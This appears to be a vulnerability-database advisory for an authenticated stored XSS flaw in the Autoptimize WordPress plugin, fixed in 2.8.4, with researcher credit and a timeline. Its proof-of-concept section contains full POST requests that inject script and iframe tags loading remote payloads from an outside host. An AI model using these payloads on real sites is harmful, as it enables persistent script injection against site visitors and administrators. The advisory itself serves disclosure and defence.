WordPress Plugin Vulnerabilities

Autoptimize < 2.8.4 - Authenticated Stored Cross-Site Scripting (XSS)

Description

The plugin was missing proper escaping and sanitisation in some of its settings, allowing high privilege users to set XSS payloads in them, leading to stored Cross-Site Scripting issues

Proof of Concept

Adds the following payloads in the API Key settings (/wp-admin/options-general.php?page=ao_critcss)  "></textarea><script>alert(/XSS/)</script>

### -- [ PoC #1 | Authenticated Persistent XSS & XFS | JS, CSS  & HTML > Inline and Defer CSS: ]

POST /wp-admin/options.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 494

option_page=autoptimize&action=update&_wpnonce=478b37683d&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dautoptimize&autoptimize_enable_site_config=on&autoptimize_js=on&autoptimize_js_exclude=&autoptimize_css=on&autoptimize_css_defer=on&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_css_exclude=&autoptimize_cdn_url=&autoptimize_minify_excluded=on&autoptimize_cache_clean=Save+Changes+and+Empty+Cache


### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Critical CSS > Your API Key: ]

POST /wp-admin/options.php HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 643

option_page=ao_ccss_options_group&action=update&_wpnonce=cdeccd0a90&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dao_critcss&autoptimize_ccss_rules=&autoptimize_ccss_queue=&autoptimize_ccss_viewport%5Bw%5D=&autoptimize_ccss_viewport%5Bh%5D=&autoptimize_ccss_finclude=&autoptimize_ccss_rtimelimit=30&autoptimize_ccss_debug=&autoptimize_ccss_noptimize=&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_ccss_loggedin=1&autoptimize_ccss_forcepath=1&autoptimize_ccss_key=m0ze%3C%2Ftextarea%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E

Affects Plugins

Fixed in 2.8.4

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
m0ze
Verified
Yes

Timeline

Publicly Published
2021-05-07 (about 3 years ago)
Added
2021-05-07 (about 3 years ago)
Last Updated
2021-05-18 (about 2 years ago)

Other